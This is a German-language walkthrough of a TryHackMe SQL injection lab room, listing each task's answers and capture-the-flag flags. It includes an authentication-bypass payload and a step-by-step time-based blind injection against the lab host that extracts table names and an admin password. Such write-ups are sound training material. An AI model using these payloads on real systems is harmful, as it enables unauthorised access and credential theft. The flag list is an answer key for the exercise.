https://tryhackme.com/room/sqlinjectionlm
Task 1 Brief
Frage 1:
What does SQL stand for?
Antwort 1:
Structured Query Language
Task 2 What is a Database?
Frage 1:
What is the acronym for the software that controls a database?
Antwort 1:
DBMS
Frage 2:
What is the name of the grid-like structure which holds the data?
Antwort 2:
table
Task 3 What is SQL?
Frage 1:
What SQL statement is used to retrieve data?
Antwort 1:
SELECT
Frage 2:
What SQL clause can be used to retrieve data from multiple tables?
Antwort 2:
UNION
Frage 3:
What SQL statement is used to add data?
Antwort 3:
INSERT
Task 4 What is SQL Injection?
Frage 1:
What character signifies the end of an SQL query?
Antwort 1:
;
Task 5 In-Band SQLi
Frage 1:
What is the flag after completing level 1?
Hier müssen wir nur der Anleitung folgen.
Antwort 1:
THM{SQL_INJECTION_3840}
Task 6 Blind SQLi – Authentication Bypass
Frage 1:
What is the flag after completing level two? (and moving to level 3)
Als Username benutzen wir „admin“ und bei Password geben wir folgendes ein:
' OR 1=1;--
Der Befehl sorgt für ein True-Statement und wandelt den Rest des hinterlegten SQL Befehls zu einem Kommentar um. Anschließend können wir uns einloggen.
Antwort 2:
THM{SQL_INJECTION_9581}
Task 7 Blind SQLi – Boolean Based
Frage 1:
What is the flag after completing level three?
Hier folgen wir wieder der Anleitung und geben als Logindaten admin//3845 ein.
Antwort 1:
THM{SQL_INJECTION_1093}
Task 8 Blind SQLi – Time Based
Frage 1:
What is the final flag after completing level four?
Diesmal sind wir hier auf uns alleine gestellt und müssen herausfinden, wie die Database aufgebaut ist. Dazu benutzen wir die erklärten Methoden. Zuerst fangen wir mit dem angegebenen Befehl an und arbeiten uns durch das Alphabet. Immer, wenn es 5 Sekunden dauert bis „OK“ wieder angezeigt wird, haben wir einen Treffer.
referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';--
Unser erstes Ergebnis ist:
https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'sqli_four%';--
Jetzt müssen wir den Befehl anpassen, um weiterzumachen:
https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema = 'sqli_four' and table_name like 'a%';--
Wieder durch das Alphabet gewühlt erhalten wir dieses Ergebnis:
https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema = 'sqli_four' and table_name like 'users';--
Nun müssen wir wieder etwas umbauen:
https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(5),2 FROM information_schema.columns WHERE table_schema = 'sqli_four' and table_name='users' and column_name like 'a%';--
Etwas später erhalten wir:
https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(5),2 FROM information_schema.columns WHERE table_schema = 'sqli_four' and table_name='users' and column_name like 'password';--
Jetzt haben wir alles was wir benötigen und machen uns an den Benutzernamen („admin“ ist ja mehr oder weniger vorgegeben) und das Passwort:
https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(5),2 FROM users where username='admin' and password like '1%';--
Unser Ergebnis ist:
https://website.thm/analytics?referrer=admin123' UNION SELECT SLEEP(5),2 FROM users where username='admin' and password like '4961';--
Nun können wir uns mit admin//4961 einloggen und erhalten die Flag.
Antwort 1:
THM{SQL_INJECTION_MASTER}
Task 9 Out-of-Band SQLi
Frage 1:
Name a protocol beginning with D that can be used to exfiltrate data from a database.
Antwort 1:
DNS
Task 10 Remediation
Frage 1:
Name a method of protecting yourself from an SQL Injection exploit.
Antwort 1:
Prepared Statements